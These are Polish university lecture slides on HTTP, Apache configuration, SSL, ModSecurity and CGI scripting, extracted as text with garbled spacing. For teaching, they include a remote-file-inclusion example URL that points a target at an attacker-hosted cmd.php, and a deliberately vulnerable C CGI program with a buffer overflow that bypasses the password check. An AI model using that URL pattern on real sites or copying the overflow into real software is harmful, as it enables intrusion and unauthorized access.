Materiały dla studentów Informatyki WSZiB w Krakowie

Podobne dokumenty
CGI i serwlety. Plan wykładu. Wykład prowadzi Mikołaj Morzy. Przykład: serwlety vs. szablony. Implementacja logiki prezentacji

Serwery WWW. Konfiguracja. Zadania serwera. NCSA httpd 1.5

I.Wojnicki, Tech.Inter.

epuap Ogólna instrukcja organizacyjna kroków dla realizacji integracji

Formularze i ramki w HTML

Przedmiot: Projektowanie dokumentów WWW. Laboratorium 3: Strona domowa cz. III Formularze. Opracował: Maciej Chyliński

W poprzednim odcinku poznaliśmy: W poprzednim odcinku, cd.: W dzisiejszym odcinku. Apache serwer WWW (część 2)

Apache serwer WWW (część 2) Marcin Bieńkowski. Instytut Informatyki Uniwersytet Wrocławski

Tworzenie aplikacji internetowych E14

Instrukcja Obsługi STRONA PODMIOTOWA BIP

API transakcyjne BitMarket.pl

Plan wykładu. 1. Protokół FTP. 2. Protokół HTTP, usługi www, model request-response (żądanie-odpowiedź), przekazywanie argumentów, AJAX.

WYMAGANIA EDUKACYJNE I KRYTERIA OCENIANIA Z PRZEDMIOTU PROGRAMOWANIE APLIKACJI INTERNETOWYCH

Wyślij sterownik. Podręcznik administratora

Apache. Apache serwer WWW

Materiały oryginalne: ZAWWW-2st1.2-l11.tresc-1.0kolor.pdf. Materiały poprawione

Bazy Danych i Usługi Sieciowe

Logowanie do mobilnego systemu CUI i autoryzacja kodami SMS

Programowanie w Internecie

Protokół HTTP. 1. Protokół HTTP, usługi www, model request-response (żądanie-odpowiedź), przekazywanie argumentów, AJAX.

Komunikacja w sieci Industrial Ethernet z wykorzystaniem Protokołu S7 oraz funkcji PUT/GET

Ajax a bezpieczeństwo aplikacji webowych. Jakub Wierzgała

Apache serwer WWW. Marcin Bieńkowski. Instytut Informatyki Uniwersytet Wrocławski

Poniżej instrukcja użytkowania platformy

SFML. (Simple and Fast Multimedia Library)

WYKŁAD 1 SYSTEMY CMS CZĘŚĆ 1

Bazy Danych. Ćwiczenie 10: dostęp do danych zgromadzonych w bazie MySQL z poziomu przeglądarki internetowej z użyciem PHP

emszmal 3: Automatyczne księgowanie przelewów w sklepie internetowym Magento (plugin dostępny w wersji ecommerce)

W wyświetlonym okienku New Web Server Application wybierz opcję Web App Debugger Executable, a w polu Class Name wpisz: P1.

Programowanie w Internecie

Audyt SEO. Elementy oraz proces przygotowania audytu. strona

Microsoft Management Console

Zaawansowane aplikacje internetowe - laboratorium Architektura Spring.

Opis instalacji systemu Intranet Komunikator

REGULAMIN INTERNETOWEJ OBSŁUGI KLIENTA

Linux LAMP, czyli Apache, Php i MySQL

Przewodnik Google Cloud Print

Wymagania sprzętowe. Amadeus Selling Platform v.7.2p120

Wtedy wystarczy wybrać właściwego Taga z listy.

SKRÓCONA INSTRUKCJA OBSŁUGI ELEKTRONICZNEGO BIURA OBSŁUGI UCZESTNIKA BADANIA BIEGŁOŚCI

Instalacja i konfiguracja automatu synchronizacji CDN OFFLINE

MySource Matrix CMS - PROSTY INTERFEJS UŻYTKOWNIKA. INSTRUKCJA ver 1.2

INSTRUKCJA KONFIGURACJI PRZEGLĄDARKI INTERNET EXPLORER

PERSON Kraków

Protokół DHCP. Patryk Czarnik. Bezpieczeństwo sieci komputerowych MSUI 2009/10. Wydział Matematyki, Informatyki i Mechaniki Uniwersytet Warszawski

Pracownia internetowa w ka dej szkole (edycja 2004)

Dziedziczenie : Dziedziczenie to nic innego jak definiowanie nowych klas w oparciu o już istniejące.

SpedCust 5 instrukcja instalacji

Praca na wielu bazach danych część 2. (Wersja 8.1)

FTP co to takiego? FTP File Transfer Protocol (Protokół Przesyłania Plików) RFC 114,959

Krakowska Akademia im. Andrzeja Frycza Modrzewskiego. Karta przedmiotu. obowiązuje studentów, którzy rozpoczęli studia w roku akademickim 2013/2014

Sprawozdanie Sieci komputerowe i bazy danych Laboratorium nr 4

UWAGA! PRZECZYTAJ NAJPIERW:

Automatyzacja procesu publikowania w bibliotece cyfrowej

Instrukcja obsługi. Oprogramowanie SAS 31

INFORMATOR TECHNICZNY WONDERWARE

SSK - Techniki Internetowe

8. Konfiguracji translacji adresów (NAT)

Strona główna góra

Autentykacja użytkowników typu Form na serwerze Tomcat

InsERT GT Własne COM 1.0

Programowanie w internecie nazwa przedmiotu SYLABUS A. Informacje ogólne

Przewodnik AirPrint. Ten dokument obowiązuje dla modeli atramentowych. Wersja A POL

System Informatyczny CELAB. Przygotowanie programu do pracy - Ewidencja Czasu Pracy

Spis treści INTERFEJS (WEBSERVICES) - DOKUMENTACJA TECHICZNA 1

Instrukcja dotycząca generowania klucza dostępowego do Sidoma v8

Spis treści. Rozdział 1 ewyniki. mmedica - INSTR UKC JA UŻYTKO W NIKA

CGI (Common Gateway Interface)

INFORMATOR TECHNICZNY WONDERWARE

Zainstalowana po raz pierwszy aplikacja wymaga aktualizacji bazy danych obsługiwanych sterowników.

Instrukcja procesu aktywacji oraz obsługi systemu Banku Internetowego dla BS Mikołajki

O autorze 11 O recenzentach 13 Przedmowa 15

Zarządzanie sieciami SN Seria Easergy Wykrywanie uszkodzeń i zdalne sterowanie

PL/SQL. Zaawansowane tematy PL/SQL

Rys. 1. Widok uruchomienia polecenia apt-get install build-essential. Rys. 2. Widok uruchomienia polecenia apt-get install apache2

Aplikacje internetowe oparte na kluczowych technologiach Java Enterprise(Servlet,JSP,JDBC, )

Programowanie internetowe

Technologie internetowe Internet technologies Forma studiów: Stacjonarne Poziom kwalifikacji: I stopnia. Liczba godzin/tydzień: 2W, 2L

Rozliczenia z NFZ. Ogólne założenia. Spis treści

Instrukcja obsługi platformy zakupowej e-osaa (klient podstawowy)

Linux -- u mnie działa!

I.Wojnicki, Tech.Inter.

HTTP, CGI, Perl. HTTP HyperText Transfer Protocol. CGI Common Gateway Interface. Perl Practical Extraction and Report Language


MeetingHelper. Aplikacja Android ułatwiająca przekazywanie materiałów pomiędzy uczestnikami spotkania. Instrukcja obsługi dla programisty

Programowanie w Internecie

POLITYKA PRYWATNOŚCI SKLEPU INTERNETOWEGO

Tworzenie witryn internetowych PHP/Java. (mgr inż. Marek Downar)

Wykonanie strony internetowej projektu wraz z hostingiem i administracją

JMMS Instrukcja użytkowania kont Autor oraz Recenzent

INSTRUKCJA WebPTB 1.0

Polityka prywatności strony internetowej wcrims.pl

Architektura typu klient - serwer. Oprogramowanie systemów równoległych i rozproszonych. Wykład 6. Cechy architektury klient - serwer

Pracownia internetowa w każdej szkole. Opiekun pracowni internetowej SBS 2003 PING

Instrukcja instalacji oraz wykorzystania podpisu cyfrowego

Tomasz Greszata - Koszalin

Szczegółowy opis przedmiotu zamówienia

Konfiguracja współpracy urządzeń mobilnych (bonowników).

Warszawa, r.

Transkrypt:

Przedmiot: Internet i jego zastosowanie Dr inż. Stanisław Polak Wyższa Szkoła Zarządzania i Bankowości w Krakowie http://artemis.wszib.edu.pl/~polak/ Materiały dla studentów Informatyki WSZiB w Krakowie Dr inż. Stanisław Polak 1 Przedmiot: Internet i jego zastosowanie Plan prezentacji Poprawność serwisów WWW Protokół HTTP Fast Dr inż. Stanisław Polak 2 Przedmiot: Internet i jego zastosowanie Usługa Gopher Poprzednik usługi WWW Usługa Hyper-G Następca usługi WWW (a) Przykładowy dokument Hyper-G (b) Przykład wyszukiwania w Hyper-G (c) Trójwymiarowa struktura kolekcji dokumentów Hyper-G Rysunek: Przeglądarka Harmony Rysunek: Charakterystyczne, hierarchiczne menu gophera http://www.hyperwave.com/ strona komercyjnego następcy serwera Hyper-G http://quux.org:70/ strona gopher dostępna za pomocą usługi WWW Dr inż. Stanisław Polak 3 Przedmiot: Internet i jego zastosowanie Dr inż. Stanisław Polak 4 Przedmiot: Internet i jego zastosowanie

Poprawność serwisów WWW Poprawność serwisów WWW Ogólne zasady tworzenia poprawnych stron WWW Funkcjonalność stron Formatowanie informacja Najprostsze środki HTML + CSS HTML + CSS + JavaScript HTML + CSS + JavaScript + Java 1 <! DOCTYPE html> 2 <html lang="pl"> 3 <head> 4 <meta charset="utf -8"> 5 <title>witaj Świecie</ title> 6 <link rel=" stylesheet " href=" main. css "/> 7 </ head> 8 <body> 9 <main> 10 <h1>witaj Świecie</h1> 11 <span class=" name ">SP</ span> tutaj by ł. 12 </ main> 13 <footer>stanis ł aw Polak</ footer> 14 </ body> 15 </ html> HTML 1 main, footer { 2 display : block ; 3 background : gray ; 4 padding : 10 px ; 5 margin : 1px ; 6 } 7. name {font family : arial, verdana, sans serif ;} main.css Test Kruga Co to jest za witryna? identyfikator witryny, nazwa, logo, slogan Na jakiej jestem podstronie? nazwa podstrony Jakie są główne kategorie? nawigacja globalna Jakie mam opcje do wyboru na tym poziomie struktury? nawigacja lokalna Gdzie znajduję się w odniesieniu do całej struktury? Tu jesteś, ścieżka dostępu W jaki sposób mogę czegoś poszukać? Wyszukiwarka Dr inż. Stanisław Polak 5 Przedmiot: Internet i jego zastosowanie Dr inż. Stanisław Polak 6 Przedmiot: Internet i jego zastosowanie Poprawność serwisów WWW Poprawność serwisów WWW Poprawność stron WWW Częste błędy na stronach WWW Testowanie Przeglądarki Ograniczenia http://validator.w3.org/ Wygląd strony Informatyzacja strony <img alt=> Znaki Łączniki Struktura strony Dr inż. Stanisław Polak 7 Przedmiot: Internet i jego zastosowanie Dr inż. Stanisław Polak 8 Przedmiot: Internet i jego zastosowanie

Protokół HTTP Protokół HTTP Model usługi WWW Serwer WWW Protokół Przeglądarka WWW Port Adres IP Dr inż. Stanisław Polak 9 Przedmiot: Internet i jego zastosowanie Żądanie klienta Serwer WWW 80 Przeglądarka WWW 1 GET / dokument. html HTTP /1.1 2 Host : www. icsr. agh. edu. pl 3 Accept Language : pl ; q=1.0, en ; q=0.5 4 Accept : text / html ; q =1.0, text/ ; q =0.8, image / g i f ; q =0.6, image / j p e g ; q =0.6, / ; q =0.1 5 Accept Encoding : bzip2 ; q=1, gzip ; q =0.8, zip ; q =0.5 6 Accept Charset : utf 8;q =1.0, iso 8859 2;q=0.8 7 User Agent : Mozilla /... 8 Adres strony: http://www.icsr.agh.edu.pl/dokument.html Materiały dla studentów Informatyki WSZiB w Krakowie Dr inż. Stanisław Polak 10 Przedmiot: Internet i jego zastosowanie Protokół HTTP Protokół HTTP Odpowiedź serwera Komendy protokołu HTTP Serwer WWW 80 1 HTTP / 1. 1 200 OK 2 Date : Thu, 20 Dec 2001 1 2 : 0 4 : 3 0 GMT 3 Serwer : Apache / 2. 2. 8 4 Last Modified : Thu, 20 Dec 2001 0 0 : 0 4 : 3 0 GMT 5 Etag : " 12345-678 -900 ab" 6 Cache Control : max age =604800 7 Expires : Fri, 21 Dec 2001 0 0 : 0 0 : 0 0 GMT 8 Content type : text / html ; charset=utf 8 9 Content length :... 10 11 <html> 12... 13 </html> Przeglądarka WWW GET HEAD POST OPTIONS TRACE DELETE PUT CONNECT 1 GET / index. html HTTP / 1. 0 Żądanie 1 HTTP / 1. 1 200 OK 2 Date : Mon, 09 Aug 2002 1 7 : 0 2 : 0 8 GMT 3 Server : Apache / 2. 0. 3 3 ( UNIX ) 4 Content Length : 1776 5 Content Type : text / html ; charset=iso 8859 1 6 7 <! DOCTYPE HTML PUBLIC " -// IETF // DTD HTML 2.0// EN"> 8 <html> 9... 10 </ html> Odpowiedź Dr inż. Stanisław Polak 11 Przedmiot: Internet i jego zastosowanie Dr inż. Stanisław Polak 12 Przedmiot: Internet i jego zastosowanie

Udział w rynku (ang. Market share) Serwer WWW Wybór sprzętu Wyspecjalizowany sprzęt Pamięć operacyjna Interfejs sieciowy Dysk twardy Źródło: http://www.netcraft.com/ Dr inż. Stanisław Polak 13 Przedmiot: Internet i jego zastosowanie Dr inż. Stanisław Polak 14 Przedmiot: Internet i jego zastosowanie Moduły Wybór modułu MPM Repozytorium modułów dla Apache a Statyczne http://modules.apache.org/ Zawiera ponad 500 modułów httpd Rdzeń serwera MPM So SSL......... Dynamiczne Rdzeń serwera So httpd LoadModule cgi module modules/mod cgi.so LoadModule ssl module modules/mod ssl.so... Moduły dynamicznie ładowane (DSO) Moduły MPM SSL......... UNIX prefork worker event Windows mpm winnt OS/2 mpmt os2 Netware mpm netware BeOS beos Dr inż. Stanisław Polak 15 Przedmiot: Internet i jego zastosowanie Dr inż. Stanisław Polak 16 Przedmiot: Internet i jego zastosowanie

Ważniejsze katalogi i pliki serwera WWW Konfigurowanie serwera bin apachectl (start, stop, restart, graceful, graceful-stop) ab apxs htpasswd logs access log error log conf cgi-bin htdocs Pliki konfiguracyjne conf/httpd.conf conf/extra/httpd-*.conf Ważniejsze parametry 1 ServerRoot "/usr / local / apache2 " 2 DocumentRoot "/usr / local / apache2 / htdocs /" 3 UserDir public_html 4 UserDir disabled root 5 Listen 80 6 User apache 7 Group apache 8 DirectoryIndex index. html index. html. var index. shtml index. cgi index. php Dr inż. Stanisław Polak 17 Przedmiot: Internet i jego zastosowanie Dr inż. Stanisław Polak 18 Przedmiot: Internet i jego zastosowanie Sterowanie dostępem do zasobów WWW Moduły 1. Kontrola dostępu mod authz host 2. Uwierzytelnianie Typ uwierzytelniania mod auth basic mod auth digest Dostawca uwierzytelniana mod authn anon mod authn dbd mod authn dbm mod authn file mod authnz ldap... 3. Autoryzacja mod authnz ldap mod authz dbd mod authz dbm mod authz groupfile mod authz owner mod authz user Dr inż. Stanisław Polak 19 Przedmiot: Internet i jego zastosowanie Kontrola dostępu Przykłady 1 <Location /> 2 Require host luke. icsr. agh. edu. pl 3 </Location> 1 <Location /> 2 <RequireAll> 3 Require all granted 4 Require not ip 1 9 2. 1 6 8. 1. 1 5 </RequireAll> 6 </Location> 1 <Location / http11only/> 2 <If "%{ SERVER_PROTOCOL } == HTTP /1.0 "> 3 Require all denied 4 </If> 5 </Location> Materiały dla studentów Informatyki WSZiB w Krakowie Dr inż. Stanisław Polak 20 Przedmiot: Internet i jego zastosowanie

Uwierzytelnianie i autoryzacja użytkownika Przykład strona http://www.przyklad.pl/~polak/tajny/ na hasło Uwierzytelnianie łączone Przykład 1 <Directory / home/ / p u b l i c h t m l > 2... 3 AllowOverride AuthConfig 4... 5 </D i r e c t o r y > conf/extra/httpd-userdir.conf Zmiana lub ustawienie hasła: bin/htpasswd 1 AuthType Basic 2 AuthName " Strona na haslo " 3 AuthBasicProvider file 4 AuthUserFile /home / polak / public_html / tajny /. htpasswd 5 Require user polak 6 # R e q u i r e v a l i d u s e r polak/public html/tajny/.htaccess 1 <Location / registered users only/> 2 AuthType Basic 3 AuthName " Strona na has ło" 4 AuthBasicProvider file 5 AuthUserFile /usr / local / apache2 / passwd / passwords 6 <RequireAll> 7 Require user polak 8 Require ip 1 9 2. 1 6 8. 1. 1 1 9 2. 1 6 8. 1. 2 9 </RequireAll> 10 </Location> Dr inż. Stanisław Polak 21 Przedmiot: Internet i jego zastosowanie Dr inż. Stanisław Polak 22 Przedmiot: Internet i jego zastosowanie Uzgadnianie zawartości Server Side Includes (SSI) MultiViews Options +MultiViews Options All +MultiViews Mapa typów pliki.var 1 <! #polecenie atrybut=warto ś ć atrybut=warto ś ć... > Składnia dyrektywy SSI 1 URI : document. html. en 2 Content-Type : text / html ; qs =1; level=2 3 Content-Language : en 4... 5 Description : " Strona po angielsku " 6 7 URI : document. html. pl 8 Content-Type : text / html ; qs =0.1 9 Content-Language : pl 10... 11 Description : " Strona po polsku " 1... 2 Options +Includes 3 # O ptions +IncludesNOEXEC 4... 5 AddType text / html. shtml 6 AddOutputFilter INCLUDES. shtml 7 XBitHack on #Po wykonaniu " chmod +x dokument.html " dokumenty HTML stan ą si ę dokumentami SSI Plik conf/httpd.conf lub.htaccess Przykładowy plik z mapą typów Dr inż. Stanisław Polak 23 Przedmiot: Internet i jego zastosowanie Dr inż. Stanisław Polak 24 Przedmiot: Internet i jego zastosowanie

Przykładowy dokument SSI Przykładowe zmienne SSI 1 <html> 2 <head> 3 <title>data</ title> 4 </ head> 5 <body> 6 Dzisiaj jest <! #echo var=" DATE_LOCAL " > 7 </ body> 8 </ html> 1 <html> 2 <head> 3 <title>data</ title> 4 </ head> 5 <body> 6 Dzisiaj jest 30 10 01 7 </ body> 8 </ html> DOCUMENT NAME DATE LOCAL LAST MODIFIED Wejściowy dokument SSI Wyjściowy dokument HTML Dr inż. Stanisław Polak 25 Przedmiot: Internet i jego zastosowanie Dr inż. Stanisław Polak 26 Przedmiot: Internet i jego zastosowanie Polecenia SSI Sterowanie robotami 1 User agent : 2 Disallow : / config echo include exec fsize flastmod set printenv if elif else endif 1. Plik robots.txt User-Agent Disallow 2. HTML META Robots 3. Kontrola dostępu 1 <html> 2 <head> 3 <title>...</ title> 4 <META NAME=" ROBOTS " CONTENT="NOINDEX, NOFOLLOW "> 5 <! 6 <META NAME=" ROBOTS " CONTENT="NOINDEX, FOLLOW "> 7 <META NAME=" ROBOTS " CONTENT="INDEX, NOFOLLOW "> 8 <META NAME=" ROBOTS " CONTENT="NOINDEX, NOFOLLOW "> 9 > 10 </ head> 11... 1 <Location /not indexable/> 2 <If " tolower (%{ HTTP_USER_AGENT }) =~ / robot / %{ REMOTE_HOST } == badrobot. com "> 3 Require all denied 4 </If> 5 </Location> Dr inż. Stanisław Polak 27 Przedmiot: Internet i jego zastosowanie Dr inż. Stanisław Polak 28 Przedmiot: Internet i jego zastosowanie

Informacje dla robotów 1 <meta name=" Autor " content=" Stanis ław Polak "> 2 <meta name=" Description " content=" Strona domowa Stanis ł awa Polaka "> 3 <meta name=" Keywords " content="xml, Java, PHP, ontologia "> Dr inż. Stanisław Polak 29 Przedmiot: Internet i jego zastosowanie SSL a serwer Apache SSL protokół zaszyfrowanej komunikacji Szyfrowanie z kluczem publicznym Szyfrowanie przesyłanych informacji Uwierzytelnianie serwera Materiały dla studentów Informatyki WSZiB w Krakowie Dr inż. Stanisław Polak 30 Przedmiot: Internet i jego zastosowanie Podstawowa konfiguracja protokołu SSL Instalacja klucza prywatnego oraz tymczasowego certyfikatu./configure enable-ssl... 1 Listen 443 2 SSLEngine on 3 SSLCertificateKeyFile /usr / local / apache2 /conf / server. key 4 SSLCertificateFile /usr / local / apache2 /conf / server. crt 5... 6 <Directory /usr / local / apache2 / htdocs / bezpieczny/> 7 SSLRequireSSL 8 </Directory> conf/extra/httpd-ssl.conf 1 #utw órz zaszyfrowany w standardzie DES3 klucz prywatny 2 #openssl genrsa -des3 1024 > /usr/local/apache2/conf/server.key 3 #utw órz niezaszyfrowany klucz prywatny 4 openssl genrsa 1024 > /usr/local/apache2/conf/server.key 5 chmod 400 /usr/local/apache2/conf/server.key 6 #utw órz żądanie po ś wiadczonego certyfikatu 7 openssl req -new -key /usr/local/apache2/conf/server.key -out /tmp/server.csr 8... 9 Country Name (2 letter code ) [ AU ] : PL 10 State or Province Name ( full name ) [ Some State ] : malopolskie 11 Locality Name ( eg, city ) [ ] : Krakow 12 Organization Name (eg, company ) [ Internet Widgits Pty Ltd ] : Akademia Gorniczo-Hutnicza 13 Organizational Unit Name (eg, section ) [ ] : EAIiE, Katedra Informatyki 14 Common Name ( eg, YOUR name ) [ ] : www.icsr.agh.edu.pl 15 Email Address [ ] : webmaster@icsr.agh.edu.pl 16... 17 18 #utw órz tymczasowy certyfikat podpisuj ąc go przez samego siebie 19 openssl req -x509 -key /usr/local/apache2/conf/server.key -in /tmp/server.csr -out /usr/local/apache2/conf/server.crt -days 365 20 rm / tmp / server. csr 1 openssl s_client connect localhost : 4 4 3 state 2 GET / HTTP / 1. 0 3 <klawisz Enter> 4 <klawisz Enter> Testowanie połączenia Dr inż. Stanisław Polak 31 Przedmiot: Internet i jego zastosowanie Dr inż. Stanisław Polak 32 Przedmiot: Internet i jego zastosowanie

Bezpieczeństwo serwera WWW Uprawnienia użytkownika Prawa dostępu do plików Dostęp do katalogów nadrzędnych Skrypty Dzienniki Identyfikacja serwera Firewall aplikacyjny ModSecurity moduł mod security2 Przykład metody włamania: http://[target]/index.php?mosconfig_ absolute_path=http: //[attacker]/cmd.php Strona główna http://www.modsecurity.org/ Reguły http://www.modsecurity.org/projects/ commercial/rules/ komercyjne firmy Trustwave SpiderLabs http://www.atomicorp.com/channels/ asl-2.0/rules/ komercyjne firmy Atomicorp https://github.com/spiderlabs/ owasp-modsecurity-crs darmowe http://updates.atomicorp.com/channels/ rules/delayed/ darmowe Graficzny edytor reguł http://remo.netnea.com/ 1 chown R root / usr / local / apache2 / 2 chmod R u+w / usr / local / apache2 / 3 chmod go rx / usr / local / apache2 / logs 4 chmod go rx / usr / local / apache2 / conf 1 <Directory /> 2 Options FollowSymLinks 3 AllowOverride None 4 Require all denied 5 </Directory> conf/httpd.conf 1 <Directory / home/ / p u b l i c h t m l > 2 O p t i o n s Exec 3... 4 </D i r e c t o r y > 1 ServerTokens Prod 2 ServerSignature Off conf/extra/httpd-default.conf Dr inż. Stanisław Polak 33 Przedmiot: Internet i jego zastosowanie Firewall aplikacyjny ModSecurity Fazy przetwarzania Dr inż. Stanisław Polak 34 Przedmiot: Internet i jego zastosowanie Przykładowe reguły Ogólny schemat działania 1 # R e f u s e to a c c e p t POST r e q u e s t s t h a t do 2 # not s p e c i f y request body length. Do note that 3 # t h i s r u l e s h o u l d be p r e c e e d e d by a r u l e t h a t v e r i f i e s 4 # only v a l i d request methods ( e. g. GET, HEAD and POST) are used. 5 6 #Sk ł adnia : SecDefaultAction akcja1, akcja2, akcja3 7 SecDefaultAction " phase :2, deny " 8 9 #Sk ł adnia : SecRule ZMIENNE OPERATOR [ AKCJE ] 10 SecRule REQUEST_METHOD ˆ POST$ chain, t : none 11 SecRule REQUEST_HEADERS : Content Length ˆ$ t : none Serwer WWW 80 / 443 Przeglądarka WWW Proces GET / POST formularz.html Dr inż. Stanisław Polak 35 Przedmiot: Internet i jego zastosowanie Dr inż. Stanisław Polak 36 Przedmiot: Internet i jego zastosowanie

Co to jest Strategie tworzenia stron dynamicznych (ang. Common Gateway Interface) Wspólny interfejs bramy Interfejs do serwera WWW Program serwer WWW Program generujący dokument HTML Perl Ruby C C++... 1... 2 cout << "<h1>użytkownik " << login << "</h1>" << endl ; 3 if ( prawid ł owy ( login ) && prawid ł owe ( has ło ) ) 4 cout << " Witamy "<< endl ; 5 else 6 cout << "Nieprawidłowy login lub hasło" << endl ; Dokument HTML zawierający program PHP JSP (Java) ASP (VBScript, C#,... )... 1 <h1>u ż ytkownik <?php echo $login?></h1> 2 <?php 3... 4 if ( prawid ł owy ( $login ) && prawid ł owe ( $has ło ) ) {?> 5 Witamy 6 <?php } else {?> 7 Nieprawid ł owy login lub has ło 8 <?php }?> PHP Dr inż. Stanisław Polak 37 Przedmiot: Internet i jego zastosowanie Dr inż. Stanisław Polak 38 Przedmiot: Internet i jego zastosowanie Wysyłanie danych z formularza Zatwierdzanie danych kodowanie wysyłanie do serwera WWW 1 <form method ="... " enctype ="... " a c t i o n="... "> 2... 3 </ form> 4 <! <form action=" mailto : adres e-mail? subject = temat " method="post " e n c t y p e=" text / plain ">...</ form> > GET POST application/x-www-formurlencoded multipart/form-data Dr inż. Stanisław Polak 39 Przedmiot: Internet i jego zastosowanie Kodowanie application/x-www-form-urlencoded Przykład 1 <form action="http :// www. serwer.com / skrypt.cgi "> 2 Login : <input name=" login " type=" TEXT "><br> 3 Has ł o : <input name=" haslo " type=" PASSWORD "> 4 </ form> Login: Hasło: Jan Kowalski (Nowak) 1 login=jan&haslo=kowalski+%28nowak%29 Dokument HTML Zakodowane dane Materiały dla studentów Informatyki WSZiB w Krakowie Dr inż. Stanisław Polak 40 Przedmiot: Internet i jego zastosowanie

Kodowanie application/x-www-form-urlencoded Wysyłanie danych Kodowanie multipart/form-data 1 <form action="http :// www. serwer.com / skrypt.cgi " method="... "> 2... 3 </ form> 1 <form action="... " method=" POST " e n c t y p e=" multipart /form - data "> 2 <input name=" login " type=" TEXT "> 3 <input name=" haslo " type=" PASSWORD "> 4 <input name=" plik " type=" FILE " a c c e p t=" image /jpeg, image / gif "> 5 <! <input type=" hidden " name=" MAX_FILE_SIZE " value=" 20000 "> > 6 </ form> Jan Kowalski (Nowak) obraz.jpg 1 GET / skrypt. cgi? login=jan&haslo=kowalski+%28nowak%29 HTTP /1.0 method= GET 1 POST / skrypt. cgi HTTP /1.0 2 Content Length : 35 3 Content Type : application /x www form urlencoded 4 5 login=jan&haslo=kowalski+%28nowak%29 method= POST 1 POST / skrypt. cgi HTTP / 1. 0 2 Content Length : 775 3 Content Type : multipart /form data ; boundary= 8152765018186645991017906692 4 5 8152765018186645991017906692 6 Content Disposition : form data ; name=" login " 7 8 Jan 9 8152765018186645991017906692 10 Content Disposition : form data ; name=" haslo " 11 12 Kowalski ( Nowak ) 13 8152765018186645991017906692 14 Content Disposition : form data ; name="plik " ; filename="obraz.jpg " 15 Content Type : image / jpeg 16 Content Transfer Encoding : binary 17 18 Zawarto ś ć pliku obraz. jpg 19 8152765018186645991017906692 Dr inż. Stanisław Polak 41 Przedmiot: Internet i jego zastosowanie Dr inż. Stanisław Polak 42 Przedmiot: Internet i jego zastosowanie Skrypt otrzymywane dane Przykładowe zmienne środowiskowe Informacje (poprzez zmienne środowiskowe) O przeglądarce O serwerze O programie Zakodowane dane z formularzy GET zmienna środowiskowa POST stdin REQUEST METHOD QUERY STRING CONTENT LENGTH CONTENT TYPE Dr inż. Stanisław Polak 43 Przedmiot: Internet i jego zastosowanie Dr inż. Stanisław Polak 44 Przedmiot: Internet i jego zastosowanie

GET kontra POST Wysyłka danych ze skryptu Metoda GET QUERY STRING Limit Metoda POST stdin CONTENT LENGTH Brak limitu 1. Wypisanie nagłówka Content-type Location Status 2. Wypisanie danych na stdout Dr inż. Stanisław Polak 45 Przedmiot: Internet i jego zastosowanie Dr inż. Stanisław Polak 46 Przedmiot: Internet i jego zastosowanie Wysyłka danych ze skryptu Przykład Odczytywanie argumentów przekazanych w linii adresu 1 # include <i o s t r e a m> 2 using namespace std ; 3 main ( ) { 4 cout << "Content -type :text /html " << endl << endl ; 5 cout << "<html >\n<head >\n" ; 6 cout << "<title >Witaj </ title >\n" ; 7 cout << " </head >\n<body >\n" ; 8 cout << "<h1>witaj </h1 >\n" ; 9 cout << " </body >\n </ html >\n" ; 10 } Skrypt w C++ Content type : text / html <html> <head> <title>witaj</ title> </ head> <body> <h1>witaj</h1> </ body> </ html> Dane wyjściowe 1 # include <i o s t r e a m> 2 # include <s t d l i b. h> 3 using namespace std ; 4 5 int main ( int argc, char argv [ ] ) { 6 cout << "Content -type :text / plain " << endl << endl ; 7 cout << "argc = " << argc << endl ; 8 for ( int i=0 ; i < argc ; i++) 9 cout << "argv [" << i << "] = " << argv [ i ] << endl ; 10 cout << " QUERY_STRING = " << getenv ( " QUERY_STRING " ) << " " << endl ; 11 } argc = 1 argv [ 0 ] = /usr / local / apache2 / htdocs / skrypt. cgi QUERY_STRING = a=1&b=2&c=3 http://adres.pl/skrypt.cgi?a=1&b=2&c=3 Skrypt w C++ argc = 4 argv [ 0 ] = /usr / local / apache2 / htdocs / skrypt. cgi argv [ 1 ] = a argv [ 2 ] = b argv [ 3 ] = c\&d QUERY_STRING = a+b+c&d http://adres.pl/skrypt.cgi?a+b+c&d Dr inż. Stanisław Polak 47 Przedmiot: Internet i jego zastosowanie Dr inż. Stanisław Polak 48 Przedmiot: Internet i jego zastosowanie

Przetwarzanie danych zawartych w formularzu Ogólny algorytm GET Odczytaj dane zawarte w $QUERY STRING Rozkoduj dane zakodowane metodą application/x-wwwform-urlencoded Start $REQUEST METHOD POST Odczytaj ze standardowego wejścia $CONTENT LENGTH bajtów danych Rozkoduj dane zakodowane metodą $CONTENT TYPE Dr inż. Stanisław Polak 49 Przedmiot: Internet i jego zastosowanie Biblioteki do obsługi Język programowania Nazwa biblioteki URL Perl.pm http://perldoc.perl.org/.html Python cgi.py Standardowa biblioteka Python- -a Ruby cgi.rb Standardowa biblioteka Ruby C C http://www.boutell.com/ cgic/ cgi-c http://cgi-c.sourceforge. net/ C++ CC http://www.gnu.org/ software/cgicc/ Rude http://rudeserver.com/ cgiparser/ Materiały dla studentów Informatyki WSZiB w Krakowie Dr inż. Stanisław Polak 50 Przedmiot: Internet i jego zastosowanie Śledzenie skryptu Bezpieczeństwo skryptów stderr dziennik błędów logs/error logs Z linii komend 1 export REQUEST_METHOD= GET 2 export QUERY_STRING= pole1=warto ś ć1&pole2=warto ś ć 2 &... 3 /usr / local / apache2 /cgi bin / skrypt. cgi Skrypt powinien robić tylko, do czego został przeznaczony Przeglądarka nie powinna dostawać więcej informacji niż potrzebuje Nie wolno ufać użytkownikowi w kwestii poprawności podawanych informacji 1 # include <s t d i o. h> 2 # include <s t r i n g. h> 3 # include <s t d l i b. h> 4 char haslo[3]=; 5 int zalogowany=0; 6 / 7 Program, kt ó ry pokazuje s k u t k i przepe ł n i e n i a b u f o r a 8 Można s i ę zalogować nie znaj ąc has ł a 9 / 10 main ( ) 11 { 12 printf ( "Content -type :text /html \n\n" ) ; 13 strcpy(haslo,getenv("query STRING")); 14 printf ( "tablica haslo przechowuje łańcuch <b>%s</b><br>", haslo ) ; 15 printf ( "Wartością zmiennej zalogowany jest <b>%d</b><br>", zalogowany ) ; 16 if (! strcmp ( haslo, "aa" ) ) 17 zalogowany =1; 18 if ( zalogowany!= 0) 19 printf ( "<span style= background - color : #00FF00 >Zostaleś zalogowany </span>" ) ; 20 else 21 printf ( "<span style= background - color : # FF0000 >Błędne hasło</ span >" ) ; 22 } Niebezpieczny skrypt w C Dr inż. Stanisław Polak 51 Przedmiot: Internet i jego zastosowanie Dr inż. Stanisław Polak 52 Przedmiot: Internet i jego zastosowanie

